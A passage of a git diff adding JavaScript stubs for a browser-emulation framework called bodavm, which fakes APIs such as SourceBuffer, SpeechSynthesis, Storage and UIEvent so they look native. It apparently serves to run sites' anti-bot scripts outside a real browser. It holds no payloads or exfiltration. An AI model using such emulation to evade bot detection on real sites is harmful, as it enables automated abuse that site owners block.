bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdatestart", {configurable:true, enumerable:true, get:function onupdatestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_get", arguments)}, set:function onupdatestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdate", {configurable:true, enumerable:true, get:function onupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_get", arguments)}, set:function onupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdateend", {configurable:true, enumerable:true, get:function onupdateend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_get", arguments)}, set:function onupdateend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "abort", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendBuffer", {configurable:true, enumerable:true, writable:true, value:function appendBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendBuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "changeType", {configurable:true, enumerable:true, writable:true, value:function changeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "changeType", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "remove", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/SpeechSynthesis.js b/env_xbb_lastest_jsdom/env copy/SpeechSynthesis.js new file mode 100644 index 00000000..1e6bc8dc --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SpeechSynthesis.js @@ -0,0 +1,19 @@ +bodavm.memory.globalobj['SpeechSynthesis'] = function SpeechSynthesis() { return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesis'], "SpeechSynthesis"); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "cancel", { writable: true, enumerable: true, configurable: true, value: function cancel() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "cancel", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "getVoices", { writable: true, enumerable: true, configurable: true, value: function getVoices() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "getVoices", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pause", { writable: true, enumerable: true, configurable: true, value: function pause() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "pause", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "resume", { writable: true, enumerable: true, configurable: true, value: function resume() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "resume", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speak", { writable: true, enumerable: true, configurable: true, value: function speak() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "speak", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "paused", { set: undefined, enumerable: true, configurable: true, get: function paused() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "paused_get ", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pending", { set: undefined, enumerable: true, configurable: true, get: function pending() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "pending_get ", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speaking", { set: undefined, enumerable: true, configurable: true, get: function speaking() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "speaking_get ", arguments) } },'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesis', "onvoiceschanged", { configurable: true, enumerable: true, get: function onvoiceschanged() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "onvoiceschanged_get ", arguments) }, set: function onvoiceschanged() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_set", arguments) } },'prototype'); + + +// speechSynthesis对象 +bodavm.memory.globalobj[ 'speechSynthesis'] = {} +bodavm.memory.globalobj[ 'speechSynthesis'].__proto__=bodavm.memory.globalobj['SpeechSynthesis'] .prototype; +delete SpeechSynthesis + + diff --git a/env_xbb_lastest_jsdom/env copy/SpeechSynthesisUtterance.js b/env_xbb_lastest_jsdom/env copy/SpeechSynthesisUtterance.js new file mode 100644 index 00000000..de31c1ce --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/SpeechSynthesisUtterance.js @@ -0,0 +1,22 @@ +// SpeechSynthesisUtterance对象 +bodavm.memory.globalobj['SpeechSynthesisUtterance'] = function SpeechSynthesisUtterance(){ + if (!(this instanceof SpeechSynthesisUtterance)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SpeechSynthesisUtterance': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechSynthesisUtterance'], "SpeechSynthesisUtterance"); +bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SpeechSynthesisUtterance'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "text_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "lang", {configurable:true, enumerable:true, get:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_get", arguments)}, set:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "lang_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "voice", {configurable:true, enumerable:true, get:function voice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_get", arguments)}, set:function voice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "volume", {configurable:true, enumerable:true, get:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_get", arguments)}, set:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "rate", {configurable:true, enumerable:true, get:function rate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_get", arguments)}, set:function rate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "pitch", {configurable:true, enumerable:true, get:function pitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_get", arguments)}, set:function pitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onstart", {configurable:true, enumerable:true, get:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_get", arguments)}, set:function onstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onresume", {configurable:true, enumerable:true, get:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_get", arguments)}, set:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onmark", {configurable:true, enumerable:true, get:function onmark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_get", arguments)}, set:function onmark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onboundary", {configurable:true, enumerable:true, get:function onboundary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_get", arguments)}, set:function onboundary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Storage.js b/env_xbb_lastest_jsdom/env copy/Storage.js new file mode 100644 index 00000000..75f91889 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Storage.js @@ -0,0 +1,16 @@ +// Storage对象 +bodavm.memory.globalobj['Storage'] = function Storage(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Storage'], "Storage"); +bodavm.toolsFunc.defineProperty('Storage', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "clear", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "getItem", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "key", {configurable:true, enumerable:true, writable:true, value:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "key", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "removeItem", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "setItem", {configurable:true, enumerable:true, writable:true, value:function setItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "setItem", arguments)}},'prototype'); + +bodavm.memory.globalobj[ 'localStorage']= {} +bodavm.memory.globalobj[ 'localStorage'].__proto__=bodavm.memory.globalobj['Storage'] .prototype; +// sessionStorage对象 +bodavm.memory.globalobj[ 'sessionStorage']= {} +bodavm.memory.globalobj[ 'sessionStorage'].__proto__=bodavm.memory.globalobj['Storage'] .prototype; +// debugger; diff --git a/env_xbb_lastest_jsdom/env copy/StorageManager.js b/env_xbb_lastest_jsdom/env copy/StorageManager.js new file mode 100644 index 00000000..103eeaf4 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/StorageManager.js @@ -0,0 +1,9 @@ +// StorageManager对象 +bodavm.memory.globalobj['StorageManager'] = function StorageManager(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageManager'], "StorageManager"); +bodavm.memory.globalobj['StorageManager'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['StorageManager'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('StorageManager', "estimate", {configurable:true, enumerable:true, writable:true, value:function estimate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "estimate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "persisted", {configurable:true, enumerable:true, writable:true, value:function persisted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persisted", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "getDirectory", {configurable:true, enumerable:true, writable:true, value:function getDirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "getDirectory", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "persist", {configurable:true, enumerable:true, writable:true, value:function persist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persist", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/StyleMedia.js b/env_xbb_lastest_jsdom/env copy/StyleMedia.js new file mode 100644 index 00000000..284fed26 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/StyleMedia.js @@ -0,0 +1,9 @@ + + +bodavm.memory.globalobj['StyleMedia'] = function StyleMedia() { return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleMedia'] , "StyleMedia"); +bodavm.toolsFunc.defineProperty('StyleMedia', "matchMedium", { configurable: true, enumerable: true, get: function matchMedium() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleMedia'].prototype, "StyleMedia", "matchMedium", arguments) }, set: undefined },'prototype'); + +// styleMedia对象 +bodavm.memory.globalobj[ 'styleMedia']= {} +bodavm.memory.globalobj[ 'styleMedia'].__proto__=bodavm.memory.globalobj['StyleMedia'] .prototype; diff --git a/env_xbb_lastest_jsdom/env copy/Text.js b/env_xbb_lastest_jsdom/env copy/Text.js new file mode 100644 index 00000000..2a234e05 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Text.js @@ -0,0 +1,12 @@ +// Text对象 +bodavm.memory.globalobj['Text'] = function Text(){ + if (!(this instanceof Text)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Text': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Text'], "Text"); +bodavm.memory.globalobj['Text'].prototype.__proto__=bodavm.memory.globalobj['CharacterData'].prototype; +bodavm.memory.globalobj['Text'].__proto__=bodavm.memory.globalobj['CharacterData']; +bodavm.toolsFunc.defineProperty('Text', "wholeText", {configurable:true, enumerable:true, get:function wholeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "wholeText_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Text', "assignedSlot", {configurable:true, enumerable:true, get:function assignedSlot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "assignedSlot_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Text', "splitText", {configurable:true, enumerable:true, writable:true, value:function splitText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Text'].prototype, "Text", "splitText", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/TextTrackList.js b/env_xbb_lastest_jsdom/env copy/TextTrackList.js new file mode 100644 index 00000000..b2de3218 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/TextTrackList.js @@ -0,0 +1,10 @@ +// TextTrackList对象 +bodavm.memory.globalobj['TextTrackList'] = function TextTrackList(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackList'], "TextTrackList"); +bodavm.memory.globalobj['TextTrackList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TextTrackList'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TextTrackList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onaddtrack", {configurable:true, enumerable:true, get:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_get", arguments)}, set:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onremovetrack", {configurable:true, enumerable:true, get:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_get", arguments)}, set:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "getTrackById", {configurable:true, enumerable:true, writable:true, value:function getTrackById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "getTrackById", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/TrustedTypePolicyFactory.js b/env_xbb_lastest_jsdom/env copy/TrustedTypePolicyFactory.js new file mode 100644 index 00000000..031386df --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/TrustedTypePolicyFactory.js @@ -0,0 +1,18 @@ +// TrustedTypePolicyFactory对象 +bodavm.memory.globalobj['TrustedTypePolicyFactory'] = function TrustedTypePolicyFactory(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicyFactory'], "TrustedTypePolicyFactory"); +bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TrustedTypePolicyFactory'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyHTML", {configurable:true, enumerable:true, get:function emptyHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyHTML_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyScript", {configurable:true, enumerable:true, get:function emptyScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyScript_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "defaultPolicy", {configurable:true, enumerable:true, get:function defaultPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "defaultPolicy_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "createPolicy", {configurable:true, enumerable:true, writable:true, value:function createPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "createPolicy", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getAttributeType", {configurable:true, enumerable:true, writable:true, value:function getAttributeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getAttributeType", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getPropertyType", {configurable:true, enumerable:true, writable:true, value:function getPropertyType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getPropertyType", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getTypeMapping", {configurable:true, enumerable:true, writable:true, value:function getTypeMapping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getTypeMapping", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isHTML", {configurable:true, enumerable:true, writable:true, value:function isHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isHTML", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScript", {configurable:true, enumerable:true, writable:true, value:function isScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScript", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScriptURL", {configurable:true, enumerable:true, writable:true, value:function isScriptURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScriptURL", arguments)}},'prototype'); + +bodavm.memory.globalobj[ 'trustedTypes'] = {} +bodavm.memory.globalobj[ 'trustedTypes'].__proto__ = bodavm.memory.globalobj['TrustedTypePolicyFactory'] .prototype diff --git a/env_xbb_lastest_jsdom/env copy/UIEvent.js b/env_xbb_lastest_jsdom/env copy/UIEvent.js new file mode 100644 index 00000000..80e705e4 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/UIEvent.js @@ -0,0 +1,19 @@ +//UIEvent对象 +bodavm.memory.globalobj['UIEvent'] = function UIEvent() { + if (!(this instanceof UIEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'UIEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length < 1) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'UIEvent': 1 argument required, but only 0 present.") + } + +} +// UIEvent对象 +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UIEvent'], "UIEvent"); +bodavm.memory.globalobj['UIEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['UIEvent'].__proto__=bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('UIEvent', "view", {configurable:true, enumerable:true, get:function view (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "view_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "detail_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "sourceCapabilities", {configurable:true, enumerable:true, get:function sourceCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "sourceCapabilities_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "which", {configurable:true, enumerable:true, get:function which (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "which_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "initUIEvent", {configurable:true, enumerable:true, writable:true, value:function initUIEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "initUIEvent", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/VisualViewport.js b/env_xbb_lastest_jsdom/env copy/VisualViewport.js new file mode 100644 index 00000000..99260e0f --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/VisualViewport.js @@ -0,0 +1,21 @@ +// VisualViewport对象 +bodavm.memory.globalobj['VisualViewport'] = function VisualViewport(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VisualViewport'], "VisualViewport"); +bodavm.memory.globalobj['VisualViewport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VisualViewport'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VisualViewport', "offsetLeft", {configurable:true, enumerable:true, get:function offsetLeft (){return 